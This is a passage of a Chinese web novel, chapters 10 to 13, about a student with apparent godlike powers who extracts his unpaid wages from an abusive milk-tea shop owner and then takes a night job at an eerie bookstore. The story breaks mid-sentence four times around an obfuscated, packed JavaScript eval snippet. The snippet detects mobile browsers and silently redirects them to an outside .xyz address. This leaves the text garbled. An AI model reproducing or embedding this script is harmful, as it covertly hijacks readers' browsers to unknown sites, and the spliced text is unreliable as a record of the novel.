伴随着他的喋喋不休,周围嘈杂的人声一丝不落地飘进郁樹耳朵里: “听说了吗?那个灭绝陈被杀了,这下是真的灭绝了。” “已经确定被杀了吗?上午我还听说是被历史系的学生群殴了。” “你没看官方通报啊,活活被打死的,那学生下手可真够狠的。” “该啊!又抢一作又潜规则,举报都不能拿他怎么样,就该被活活打死。” “就是可怜了那个都边一郎,背上人命估计这辈子都出不来了。” “切,他啊,也不是什么干净东西,我跟你说……” “我告诉你,你无故旷工,我有权开除你!没得商量!”老板发出最后通牒。 话都说到这份上,郁樹也知道没有回旋的余地,说到底是他旷工在先,再事出有因也都是借口,被辞了也好,这份工作赚的其实不多,一个小时才8星币,要不是看在它距离学校最近,摇奶茶又能锻炼肱二头肌的份上,他早就想另谋出路了。 但离职归离职,账得算清楚,于是他心平气和地对老板说:“那您把我这个月的薪水转给我,我干了24天,每天4个小时,一共是768星币,今天的事给您添麻烦了,您转我700就行。” 他说得有理有据,还设身处地为对方着想,甚至主动提出赔偿,本以为会是好聚好散的结局,却不想对方直接挂了电话。 听筒里传来“嘟……嘟……”的占线声,郁樹收起手机,看着窗外的夕阳,心情有那么一点不美丽,但他很快调整好自己,说不定是老板那边有事要忙,他亲自过去要就行了…… - 奶茶店,看见郁樹的身影,前台工作的几位员工同时对他露出沉痛的表情,没有说话,却又好像传达了一切。 见他们在忙,郁樹打了个招呼就往经理室走,推开门直接道:“老板,工资结一下。” 奶茶店老板正躲在后面睡大觉,被他的突然闯入吓得一激灵,整个人直接从椅子上弹起来:“你特么有病吧!不知道敲门啊?!” 郁樹微微皱了下眉,但还是平和道:“我敲了,敲了三次,每次都敲了三下,是你睡得太沉。” “那又如何?”老板扥了扥衣领,不屑地瞥瞥眼,“我的店,我想睡就睡,你管得着吗?” 郁樹看着他:“我不是来管您的,我是来要工资的,768星币,一个都不能少。” 本来他是想要700的,但对方不义在先,他也没必要有什么仁德,该是多少就是多少。 “你还好意思过来要工资?我挂你电话什么意思你猜不懂啊?你知道因为你今天我损失多少个768吗?还有脸跟我要钱,做梦!出去出去!赶紧滚!”说着,老板就走向郁樹,要把他轰出去。 愚蠢的大学生,竟敢跟他要工资,钱是不可能给他的,不过如果他能付出点什么…… 老板的目光变得黏腻,上下扫量着郁樹,咽了口唾液,妈的早就馋这小子了,可无论他怎么暗示,这人就跟二傻子一样不为所动,就跟接收不到信号一样。 这种事又不好放在明面上说,容易落下把柄,老板只能将目光放在其他人身上,大学生那么多,他犯不着在一棵树上吊死,今天吃一个,明天吃一个,办公室里永远不寂寞。 但吃不到的葡萄总是最香的。 老板抿了下嘴唇,打定主意,先打压,让这小子见识到社会的阴暗,再绥靖,半推半就地让这小子乖乖就范。 他就不信他一个事业有成的老男人会拿大学生没辙。 胳膊上蓄足了劲儿,老板狠狠推了郁樹一下,他常年健身,就这一下足以举起200kg的杠铃,眼前这个虽高但瘦的青年只会被他推得狠狠摔在门板上。 老板心里得意洋洋地想着,可一下秒,剧烈又钻心的痛顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16103030|179824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着四根指骨一路往上蹿,“咯嘣”、“咯嘣”、又“咯嘣”……仿佛一条被点燃的引线,手腕、尺骨、桡骨、手肘、肱骨相继发出碎裂声,整条胳膊瞬间就软了下来,活像皮肉组成的空荡袖管。 老板疼得冷汗直冒,吱哇乱叫,长一米八重一百八的人羸弱地蜷缩在地上,好像正在遭受整个世间最难以忍受的痛苦。 这特么怎么回事?! 自己不过就是碰了这小子一下,怎么就硬生生断了一整条胳膊?! 是自己使了寸劲儿还是…… 一切都是这小子的手笔? 霎时间,老板看向郁樹的眼神都变了,不复方才的黏腻,变得畏惧、困惑、又惶恐。 看着对方忽然躺在地上,郁樹往后撤了一步,双手向上摊开:“我可没动你啊!我就是来要工资的,你别碰我瓷!” 老板:你特么是真无辜还是装无辜?! 他疼得在地上不断哀嚎,一方面是真疼,另一方面是想吸引其他员工过来给他做个见证,无论如何,此事都跟郁樹脱不了干系。 可不知为何,任凭他如何哭喊,愣是一个人都没过来,他知道这个时间正是奶茶店最忙碌的时候,可就算前台人满为患人声鼎沸,就算音响里播放着热闹的背景音乐,也不该没有一个人听见办公室的动静。 他们怎么可能听不见?! 是真听不见,还是装听不见?! 这太不正常,太离奇,太诡异! 看着老板一直在地上咕扭,死活不提工资的事,又一直在大喊大叫,郁樹的心情再次不美丽起来。 他往前走了一步,居高临下地看着蜷缩在地上不断冒冷汗的人,说出了那句著名的台词:“你喊啊,你喊破天也不会有人来。” 郁樹承认自己有赌的成分,但他是根据现有情况做出的准确判断,老板都喊了这么久,外面的同事一个没进来,无论是真听不见还是装听不见,大概率是不会出面了。 嗯,挺好,今天就打定主意,不拿到工资绝不离开,那可是他辛辛苦苦工作了96个小时的血汗钱,一个月生活费呢,必须寸币不让! 随着郁樹的走近,老板惊恐地发现疼痛在以指数级增加,不仅那一条手臂,其他骨头也都开始隐隐作痛,仿佛随时都有可能碎裂。 到底是怎么回事?! 这不是普通大学生吗?! 为什么好像有特异功能似的?! 老板一边乞求,一边忍痛挪动身体往后退:“你……你别过来,我给你钱,真的,我给你钱。” “真的?”见对方开始讲道理,郁樹停下脚步,笑着拿出手机点开收款码,“那你现在就转我。” 疼痛的感觉明显变小,老板却更慌了—— 真的是郁樹! 真的是他! 他一笑,自己那条断了的胳膊都不疼了! 这特么怎么可能是普通男大?! 没工夫思考这一切是否科学合理,老板用完好的那只手拿出手机,扫描付款码,却在输入金额的时候手指颤了那么几下…… 11. 第 11 章 【叮~到账76800星币~】 机械的男声响起,郁樹不敢相信自己的耳朵,纳闷地看着老板:“你手滑了吧,多摁了两个零,我这就给你退回去。” “不用不用,千万别退,多的是我给你的精神损失费和辞退补贴。”老板又往后挪了挪,他能明显感觉到看见那串数字的时候,郁樹脸上的笑意变大了,而他身上的疼痛则变小了。 甚好,甚好,如此甚好。 老板几乎要为自己的机智热泪盈眶,幸好他转账前留了个心眼,多摁了两个零,虽然大出血,但总好过把命搭进去。 76800买一条命,太特么值了! 郁樹看看手机上的数字,再看老板,觉得对方说的有道理,一点机会都不给就被辞退,他确实受到了很大的精神伤害,而且继续找兼职还要花时间成本,能不能找到还是个未知数。 看来老板还是很好沟通的,见对方讲道理,郁樹的心情恢复美丽,拽起老板的胳膊:“那就谢谢啦,你应该不会想着把这些钱从其他员工那克扣出来吧?” 正有此打算的老板嘴唇都开始颤抖:“!” 他竟然知道自己心里想什么! 他果然不是普通大学生! 老板立即悬崖勒马,将心里那点小九九清除,极度肉疼,却又不得不赔笑道:“怎么会呢,我还打算个给他们涨工资呢,一个小时——” 他小心观察着郁樹的表情,试探道:“10……啊不不不,20……不行不行,那……3、4、5、60?六十!给他们涨到一个小时六十!” 郁樹会心一笑,拍了拍老板的肩膀:“这合适吗?会不会侵占了您的利润空间?” 老板的脸痛苦地缩成一团,是心痛,也是身痛,就郁樹拍的那两下可比他举铁的力气大得多的多的,肩胛骨又传来两道瘆人的“咯嘣”声,老板知道,今天他这条胳膊大体是要废了。 可不到一句话的工夫,一道又一道“咯嘣”声从肩胛骨一路袭向指骨,老板仿佛看见那些碎裂的骨头渣正在飞速聚拢、愈合、复原,紧接着,那条由皮肤组成的空空荡荡的衣袖就不再随风摇摆,它拥有了骨骼的支撑,恢复了该有的组织机能,甚至变得比之前更结实有力,仿若新生。 华佗在世都没这本事吧? 这是普通人类能办到的事?! 老板泪眼婆娑,看郁樹的眼神复杂至极,是神迹还是恶魔的诡计? 见对方迟迟不说话,郁樹挑了一下眉梢:“嗯?” “不不不不不不会,完全不会!做奶茶利润空间大得超乎想象!”老板被那一挑眉吓得直哆嗦,脱口道出商业机密。 怎么会这么奇怪,眼前的青年明明只是做了一个极其简单的微表情,但他分明从那里品出了威胁和关怀两种截然不同的意味,就好像恶魔与神明的复合体,温暖又冰冷,光明又诡谲。 见老板如此坦诚,郁樹露出了满意的微笑:“相信你会说话算话的,那我就走了,生意兴隆啊。” 看着那道瘦高的背影,老板产生了一股想让郁樹留下来的冲动,无论是神明还是恶魔,只要留下来,自己必发大财啊! 但理智又告诉他,自己这间小庙留不住这尊大佛,留下恐怕会有更大的灾难。 左右脑激烈互搏中,郁樹早已经走远,那股强大到难以忽视的气场也随之消散。 老板抹一把脸,整理一下衣服,将加薪的消息发在员工群里。 要在往常,他肯定会翻脸不认账,但现在,他不敢想象对郁樹阳奉阴违的下场。 碰一下筋骨寸断,拍一下骨血重塑,要是再惹他生气,自己这条命还能剩下点灰吗? 答案显然是不能。 - 晚上十一点,奶茶店的员工们终于下班了。 有人摸出手机看了眼,又看了眼,然后揉揉眼睛,再次看了眼,歪着脖子难以置信道:“你们看群消息了吗?周柏霹发了个公告。” “又怎么了?他烦不烦啊,天天这不行那不行,就知道鸡蛋里头挑骨头!” “真特么服了,我上辈子造了什么孽要上这逼班!” “唉,忍忍吧,至少他按月发工资,有的奶茶店一拖就是好几个月。” “……” 吐槽声中,那几名员工拿出手机,扫了眼群公告,瞪大眼珠子又扫了眼,然后晃晃脑袋一个字一个字地使劲儿看,最后从手机里抬起头,相互望着对方: “他疯了?还是手机被偷了?” “可是有公章诶,良心发现了?还是突然得了绝症,所以要积德行善?” “哼,就他?他的字典里有良心?” “或许是为了给哪位小帅涨薪,又怕有风言风语,所以我们沾光了?” “yue,给小帅钱哪用得着这么麻烦,事后甩三千不就行了。” “但是有公章在,他要是不给,咱们可以告他,就他那鸡贼劲儿,如果不是真有这个打算,会把这么致命的把柄露出来?” 几位员工陷入沉思,员工群里也是安安静静,除了老板发的那条公告,再没有其他消息,就好像不止他们,所有人都在质疑涨薪的真实性。 办公室里,周柏霹拿着手机皱眉,怎么回事?应该都看见群消息了吧?涨薪不激动吗?还一下子涨了这么多,不应该在群里山呼老板万岁吗?怎么一点动静都没有?这帮员工,他忍痛献出利润,他们竟然连点情绪价值都不舍得给吗? 周柏霹从来没有这么挫败过,他双手支在桌上,皱眉深思,要不把公告撤销了?反正他们也不当回事,自己何必热脸贴冷屁股呢? 就在他脑海里冒出这个想法的同时,门窗紧闭的办公室忽然飘来一阵冷风,却明显有别与空调的冷气,阴恻恻的,冷的人骨头缝疼,鸡皮疙瘩止不住地窜出来。 周柏霹双手抱臂,牙齿打颤,疼痛让他一下子就回忆起手臂骨头碎裂的感觉,痛不欲生啊! 他一瞬间就悟了,这帮员工凭什么感激他啊,他就是个贪婪的败类,明明是在神明的提点下才做出这个决定,他竟然想把功劳据为己有,还妄想让员工对他感恩戴德,他凭什么?他有什么资格?他怎么敢抢神明的功德?! 明明冻得直发抖,他却能对着手机敲出想打的字:【是郁樹的功劳,是他让我意识到我对你们的苛刻,涨薪也是他建议的,他还在群里,让我们感谢郁樹!@一颗小树苗】 点击【发送】按钮的同时,冷到彻骨的感觉一下子消失了,取而代之的是一阵和煦的暖风,周柏霹往上看了一眼,23℃的空调是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16103031|179824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吹不出这么温暖的风的。 他心有余悸,后背已经被冷汗浸湿,疯了似地逃出办公室。 太可怕了! 这间办公室仿佛随时都有双眼睛盯着他! 他必须得躲到一个对方看不见的地方…… - 与此同时,员工更衣室,全员都High了,疯狂在群里艾特郁樹表达感激,讨论声更是络绎不绝: “原来是郁樹!我就说周扒皮没那么好心!” “他真的,我哭死,离职了都不忘替咱们谋福利。” “这世道难找像他这么好的人了,简直好得不像人。” “诶!你怎么骂人呢?” “你等我说完啊,我的意思是,他像个心地善良的神。” 一席话落,所有人宛如得到什么召唤一样细细咂嗼这这句话的含义,下一秒,他们十指交叉扣于胸前,对着克鲁大学的方向闭上眼,虔诚默念:“感谢你,大学生的神。” - 烧烤摊上,郁樹莫名打了个喷嚏,他揉揉鼻尖,天这么热,不能是着凉吧? 尚青北马上关切道:“怎么了爹,是孜然太呛了吗?我这就让他们别放孜然。” “没孜然还是羊肉串吗?!乖儿子,快给爸坐下。”郁樹立马拉住他。 “欸,好的,爹。” 郁樹:“……” 还没完了。 青北这孩子也不知道怎么回事,打从警局回来,一看见他开口闭口就是爹,听得他耳朵都要起茧子了。 一身爹味的明明是他尚青北,自己怎么就突然多出个好大儿? 郁樹左思右想,放下手里的竹签,认真地问:“青北,警员没对你动粗吧?” “哪能啊,也不看看我爸是谁,给他们十个胆子,他们都不敢。”尚青北昂起下巴。 郁樹:“那你怎么好像脑袋被打坏了的样子?” “有吗?”尚青北单手拉开易拉罐递过去,“你要是不想认我这个干儿子,我喊你爷爷也不是不行。” “噗——”一口啤酒喷了一地。 紧接着就是尚青北递过来的纸巾,郁樹接过去擦擦嘴,抬头正色道:“你还是正常点,无论是爸爸还是爷爷,你主动叫就不好玩了。” 尚青北:“……” 懂了,这是告诉他要把他当普通大学生看待,继续维持之前的舍友关系。 当然,在特殊的时候,也可以适当庇护他。 他忙不迭答应:“好好好,都听你的,那你今天怎么突然请客呢?” “嘿嘿,”郁樹又撸完一根羊肉串,笑得狡黠,“我被奶茶店开除了——” 他话音未落,尚青北马上皱起眉:“一个破奶茶店还敢开除你?不想活了?” “诶,你听我说完,”郁樹拍了他一下,“但得到了百倍赔偿,百倍啊!76800个星币呢!足够我挥霍好久了!” 看着对方明媚的笑眼,尚青北心里五味杂陈,一个足以比肩神明的存在竟然因为区区76800个星币笑成这样,这世界亏欠祂太多! 但尚青北又从这里看见了机会,他举起啤酒凑过去:“那你又得找兼职了吧?我这里有份好工作,钱多事少,老板还特好,怎么样,感不感兴趣?” 12. 第 12 章 一回到家,那种令人不寒而栗的恐惧感顿时消散,周柏霹锁好门,打开空调,一屁股瘫坐在沙发上。 不一会儿,可能是刚才被冻怕了,他总感觉房间里阴恻恻、凉飕飕的,于是,在这个三十七八度的夏季夜晚,他拿起遥控器,开启了空调的制热模式,干燥的暖风吹来,周柏霹却没出一点汗,倒是身上的鸡皮疙瘩渐渐瘪了下去。 吹了好久,他从终于觉出热来,换成了制冷模式,但温度依然调的很高,足足有30℃。 窗外月明星稀,玻璃上倒映着周柏霹憔悴的脸,渐渐地,那张脸的轮廓逐渐模糊、扩大,幻化成一个尖叫的黑影,仿佛在恐惧着什么。 周柏霹立即转移视线,拉上窗帘,太安静了,怎么可以这么安静,他抱住双腿,硕大的身体蜷缩成一小团,仿佛只有这样才能安抚他受惊的灵魂。 不行,太安静,太可怕了,必须得做点什么转移注意力,不然他可能会被自己的脑补吓死。 没什么比□□更能转移自己的注意力了,周柏霹是个沉溺□□的人,一天24小时,78小时思考的都是今天和谁、在哪、用什么姿势。 他瑟缩着肩膀,用手机摇来几个人。 臭味相投的人聚在一起不用多说半句话,上来就能啃一起。 几人喝了点酒助兴,周柏霹终于在耳鬓厮磨中忘了那些令人胆寒的事,可刚沉醉其中,就听见几句扫兴的话: “老子都扭成这样了,你愣是一点面子都不给啊?” “不是吧,周柏霹,30岁就萎了?” “还不是你们活儿太差。”周柏霹摁着其中一个人的头,怒意磅礴。 但潜意识却让他皱起了眉,好像确实有点不对劲?难道是酒精的影响?可是之前也不这样啊。 十几分钟过去,状况依然没有改变,其中一个干呕着骂:“你特么不行就别嚯嚯人!” “嘘!怎么能对周公公这么凶呢?”另一个脸上挂着显而易见的嘲讽,“小心他爬到龙床上吹耳边风。” “你们特么的给老子滚!倒人胃口的东西!”周柏霹气不打一处来,连推带搡地轰走他们。 房间里又只剩下他一人,周柏霹靠着门板抱头蹲下,恐慌和无助再次席卷着他,不过这次,他的恐惧来源不再是那个似是而非的、不可能的存在,他深深担忧着自己的身体,那可是他玩乐的本钱,他真的不行了吗? 不可能,绝对不可能! 周柏霹不信邪,点开暗网上的动作片逐一鉴赏,可无论多么刺激的画面,多么血脉膨胀的情节,他却始终身如止水。 这一看,就是一整夜,直到天边泛起鱼肚白,依然没有一点起色。 一股绝望的恐惧深深笼罩着周柏霹,可他依然不甘心。 也许,也许是今天受惊过度呢? 经历过那么难以忍受的疼过,又亲身感受过如此离奇的事情,是个人都会产生巨变吧? 周柏霹决定缓一缓,说不定过几天就好了呢,自我疗愈的同时,他还去看了心理医生,毫无意外,心理医生表面认可他所叙述的一切,然后给他开了治疗幻想症的药。 看着对方的反应,周柏霹自己都开始怀疑那一切会不会真的是他的幻想,又或者是一场诡异离奇的梦,可那种疼痛和恐惧实在是太真实了,幻想和做梦能做到吗? 意识在真实与虚妄中不断徘徊,周柏霹也没忘了以实际行动证明自己可以,连着好几天,他不停地找人做实验,结果却一次比一次更扎他的心。 那个他一直掩藏在心底、不敢正视的猜测愈加发展壮大,逐渐压得他喘不过气来。 又一次实验失败后,周柏霹唤醒了家庭医生。 冰冷的机械身体配备了一切身体检测所需的器械,抽血、化验,X光、核磁,逐一进行,一气呵成,堪称现代人类最伟大的发明,但只有有钱人才买得起,普通老板姓还是只能去医院排队。 超声波探查身体的时候,周柏霹看着天花板,万一能治呢? 下一秒,人类最伟大的发明用最温柔的声音汇报着检查结果。 周柏霹毫不意外,但彻底灰心丧气,他坐起来,低垂着脑袋,消化了好一会儿,才终于问:“能治好吗?” 现代人类最伟大的发明,aka家庭医生露出足以融化坚冰的笑容,给了周柏霹这个人类致命一击:“不能哦亲亲,这边建议您做一下切除手术,反正也是没用的东西——” 周柏霹捂着脸,关掉了家庭医生。 事情怎么特么的会发展成这样?! 那点钱没了就没了,可自己……自己怎么能…… 不能□□,他的人生还能有乐趣?! 眼泪和鼻涕同时从周柏霹脸上流出,汇聚在一起,滴滴哒哒地落在裤子上,洇湿的水渍仿佛都在嘲讽他的无能。 就在他从啜泣进阶到嚎啕大哭的时候,一股冷意如入无人之境一般向他袭来,周柏霹颤抖地抬起头看向空调,两颗瞳孔瞬间开始剧烈晃动,幅度大的仿佛要从眼眶里跳出来一般—— 空调是关着的。 那冷风是哪来的? 周柏霹一下子止住了哭泣,他想起了不久前的那晚,彻骨森然的冷意,撕心裂肺的疼痛,以及那个青年人畜无害的笑脸。 不是幻想! 绝对不是幻想! 是郁樹,一定是郁樹! 他在惩罚自己!一定是他在惩罚自己! 可是为什么? 自己不是已经给他补偿还给员工加薪了吗? 为什么要让他失去他人生中为数不多的乐趣?! 一个黑点忽然出现在脑海,很奇怪,明明是黑色,却莫名亮的惊人,如果是在现实中,不消一眼就能让一切事物失去颜色,又或者是让一切事物恢复它们本来的颜色。 这枚黑点在脑海里不断扩大膨胀,最后轰然爆开! 墨色覆盖住一切,周柏霹想通了,原来是自己活该啊! 谁让他觊觎神明呢? 果然,神无处不在,无所不能,无所不晓; 果然,神罚可能会迟到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16103032|179824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但绝不会缺席。 他该啊! 他还活着都仰赖于神明的仁慈。 忏悔的泪水夺眶而出,周柏霹擦干净脸,跪在地上双手合十,对着克鲁大学的方向虔诚叩败:“神,感谢您的宽宥,我知道我这肮脏无耻渺小卑微的人类之躯没有资格成为您的信徒,但我一定会谨遵您的意志,洁身自好,乐善好施,只求能赎清我的罪孽……” - 与此同时,克鲁大学315宿舍内,郁樹在睡梦中翻了个身,脸上露出惬意的笑容。 梦里,他送一只四处留种的大黑狗去做绝育术手术,大黑狗叫的那个惨啊,郁樹都没耳朵听。 可没想到手术做完,大黑狗对他没有一丝戒备和怨恨,无比亲昵地蹭着他的裤脚,圆溜溜的狗眼里全是卖乖和讨好,还不停地作揖,仿佛对他充满感激。 梦里的郁樹笑了笑:“狗狗果然还是绝育的好。” - 在郁樹生活的时代,纸质货币早已被虚拟货币取代,星币更是诸多虚拟货币中的佼佼者,它的名称虽然有种科幻小说的感觉,但实际意义却带着一丝浪漫主义色彩—— 当群星归于它们该在位置,当星光以同样的频率闪烁,最伟大的神明就会降临,解救这千疮百孔的世界。 郁樹对这个释义不屑一顾,谁知道神明是来救世的还是灭世的?再说那种虚无缥缈的东西怎么可能是真的?不过是愚民的工具罢了。 但星币不虚无,虽然是虚拟货币,可那些数字是真的,这种账户里星币充沛的感觉简直不要太爽。 虽然有了七万多星币,可他打工的日子不能停,如果没有进账,这七万多根本支撑不了多久。 他没有接受尚青北的好意,他知道对方是为他好,可人情这个东西是还不完的,再说他一个当爹的总不能啃小吧?多逆天啊不是? 安抚好儿子,啊不,安抚好舍友,郁樹开启了又一轮的找兼职历程。 他没有特长,学习成绩又相当一般,所以只能找些需要出苦力的工作,好在这样的工作不难找,很快,他就入职了学校附近的一家书店,工作时间是晚上8:00到12:00,其余时间段由其他店员负责。 幸好克鲁大学没有宵禁,不然这份工作他都干不了。 他们生活的时代科技发达,但纸质图书依然是媒介主流,毕竟谁也无法拒绝翻书那一刻扑鼻的墨香。 郁樹挺喜欢这份工作的,搬搬书、理理货、结结账,四个小时很快就过去了,再说大晚上的也没多少人来书店买书,简直不能太清闲。 虽然24小时营业的书店有点奇怪,但管它呢,能赚钱就行。 晚上快八点的时候,郁樹和尚青北告别,这回对方没再婆婆妈妈说什么外面不安全,晚上别出去的话,只是表情有点不舍。 郁樹很高兴,看来当爹还是有当爹的好处的,他抓了把尚青北的头发,潇洒离开。 交完班,在柜台后面坐了一会儿后,第一位客人进门了:“您好,请问有《■灵之书》吗?” 13. 第 13 章 “《灵之书》吗?”郁樹看了眼系统,“似乎是没有,不过有许多类似的,比如《精灵之书》、《恶灵之书》、《邪灵之书》、《幽灵之书》,您看有您需要的吗?” 一边念着书名,郁樹一边觉得奇怪,大学旁边的书店怎么会卖这么多奇奇怪怪的书?真的会有人买吗? 啊,还真的会有人买。 真是个割裂的世界,一边崇尚科技,一边信仰教义,怪不得会产生星币这么个集科技与宗教于一身的虚拟货币。 郁樹看了眼面前的矮个子男人,目测不到1.7米,三维基本持平,好像一个圆柱体顶了个球,戴着帽衫,看不出脖子的轮廓,体重保守估计也得有170公斤,帽衫底下是一顶帽檐硕大的鸭舌帽,遮挡住额头,鸭舌帽底下是一副墨镜,挡住眉毛及眼睛,再往下就是一只巨大的口罩,将脸的下半部分遮得严严实实,身上更是长衣长裤,一点皮肤都不露出来。 他……不热吗?不会中暑吗?虽然是晚上,外面也有个三十好几度呢。 也许真的不热吧,郁樹在心里自问自答起来,每个人对温度的阈值都不一样,再说,万一人家是有什么特殊体质,皮肤不能接触空气呢?咱也得尊重人类的多样性不是? 在他打量的同时,对面的顾客摇了摇头:“不,不是,不是那些,我要的是《■灵之书》。” “确定名字就叫《灵之书》?”郁樹耐心问。 “《■灵之书》!”对面的顾客不知道为什么脾气突然暴躁了起来,张开手连比带划地喊着,“《■灵之书》!■!■!” 郁樹这才注意到他的胳膊,和身体一样,仿佛是两截稍小一点的圆柱体组成的,戴着手套的五根手指也是又圆又直,全程直挺挺地,仿佛都不具备弯曲的功能。 唔,有点奇怪,杵状指吗? 赫然间,郁樹看向对方的眼神都带着些悲悯,可怜啊,都33世纪了,杵状指还不能痊愈吗? 对面,那位顾客忽然惊讶地张大嘴,双眼瞪得愣圆,仿佛对什么事情难以置信一般,片刻后,他晃晃脑袋,又大声重复一遍:“《■灵之书》!” 郁樹不明白对方为什么突然这么激动,隔着口罩,他无法辨认对方的口型,但是经过对方一遍又一遍地重复,他似乎明白了什么,于是发问:“前面还有一个字?第一个字不发音?难道是E?《E灵之书》?” 这是什么奇怪的书名?世界上真的有这本书吗?难不成讲述的是一个超E的灵魂或者精灵?那有没有《I灵之书》?精神体也有I、E之分? 他以为自己猜对了,可对方却更愤怒了,十根圆柱体疯狂比划着,发出的声音也越来越大,几乎到了声嘶力竭的程度:“《■灵之书》!《■灵之书》!《■灵之书》!” 他连喊三声,郁樹依然听不见第一个字的发音,他只能再看一眼系统,遗憾道:“不好意思先生,我们这里可能没有您要的那本书,实在抱歉。” 那人气鼓鼓地推门而出,一出去就对着夜空张开两只圆柱体,放声大喊:“死!死!死!《死灵之书》!《死灵之书》!” 路边的野狗对着它狂吠,楼上直接有人推开窗户大骂:“神经病啊你!” 那人却全然不在意,反而发出两声大笑,而后再次走进书店,心平气和道:“请问有《■灵之书》吗?” 郁樹还没来得及回答这个奇怪的男人,那人就再次暴躁起来,一边跺脚一边大喊:“《■灵之书》!《■灵之书》!《■灵之书》!” 可无论他喊多少遍,第一个字就像被人手动哔掉了一样,始终发不出声音。 不等郁樹反应,他气鼓鼓地推门出去,又开始对着天空大喊:“《死灵之书》!《死灵之书》!” 看着对方在店外的疯狂举动,又联想到那人在店内的奇怪行为,郁樹敏锐地意识到,这绝对不是人类多样性的问题,这个人很可能有什么精神障碍。 晚上值班碰到疯子的概率确实大,得赶紧报警。 在那个圆柱体第三次进入店里询问,又因为始终发不出第一个字的音而气急败坏的时候,警方及时赶到制止了他的非正常行为。 看着警员们手里的各种枪械,郁樹由衷赞叹,这么晚出警速度都这么快,哪怕面对的是一位罹患精神障碍的患者都全副武装,有这样认真负责的警员,阿卡姆可真有福气。 警员们离开前,一位看起来颇有气场、跟其他人不在一个图层上的警员走拿着手机走到郁樹跟前:“留个联系方式,可能还会找你做笔录。” “诶?”郁樹抬眼看过去,带有一点灰色质感的银发下是一张甚合他审美的脸,尤其是那双墨绿色的眼睛,充满故事感,让人一看就挪不开眼。 郁樹下意识地接过对方递来手机,视线却落在那只手上,修长,骨节分明,青筋凸起,无名指戴着一枚戒指,待要看清戒指上的花纹时,对方收回了手。 双睫微颤,郁樹心下疑惑,总觉得那花纹有点眼熟,但是……他又抬眼看了下,这张脸他要是见过绝对忘不了,这戒指总不能是个二手的吧?也许是自己记错了? 他挥掉脑海中的波澜,输入自己的号码,然后笑着递过去:“我叫郁樹,请问警官贵姓?” “柯璆。”对方言简意赅地回答,说完点头离开。 看着对方的背影,郁樹有点羡慕,真高啊,自己都183不算矮了,那人却出个门都得歪头,少说也有一米九,还是个宽肩窄腰的双开门,再配上那张脸。 啧啧。 谁说这世上没有造物主? 这不就是造物主捏出来的完美建模吗? 他被自己的想法逗笑,摇摇脑袋,起身去整理书架。 押运车上,柯璆摩挲着无名指上的戒指,眉心微蹙,之前的那股异动,似乎不是错觉,可为什么…… - 晚上12:00,郁樹与另一位店员做完交接后下班,在回宿舍的路上看见两只光球,亮晶晶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16103033|179824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绿油油的,在夜里发着璀璨的光,活像两颗价值连城的夜明珠。 但夜明珠明显不会浮在半空中,郁樹定睛一看,果然,哪是什么夜明珠啊,明明就是一只黑猫的两颗眼睛。 “原来是你啊。”郁樹笑着走过去。 小黑猫长得极其可爱,流浪猫的身世愣是生的膘肥体壮,活像一只小型重卡,一看就被养得很好。 看见郁樹,小黑猫(其实也不小)就像看见猫薄荷一般飞奔着贴上去一边猛蹭裤脚,一边发出软绵绵的叫声,又瘫在地上露出肚皮摆出求撸的姿势。 看着这一幕,自诩为硬汉的183清澈男大本大心都要化了。 没有人能拒绝小猫咪的撒娇卖萌,没有人! 郁樹眼睛弯弯,温柔得仿佛一池春水,蹲下去轻挠小黑猫的下巴和肚皮,小黑猫舒服地发出呼噜呼噜的声音。 怎么可以这么萌! 他抱起小黑猫,在附近的便利店买了一盒猫罐头揭开盖子放在地上,看着小猫将头埋在罐头里,他悠悠叹了口气,轻轻抚摸小黑猫的头:“唉,不是我不负责,主要是我们是不可能的……” 小黑猫耸耸耳朵,只听郁樹继续道:“宿舍不让养猫,只能委屈你在校园里晃荡了,我可爱的黑黑。” “喵~”小黑猫黑黑吃饱喝足,发出一声甜甜的叫,亲昵地舔着郁樹的手。 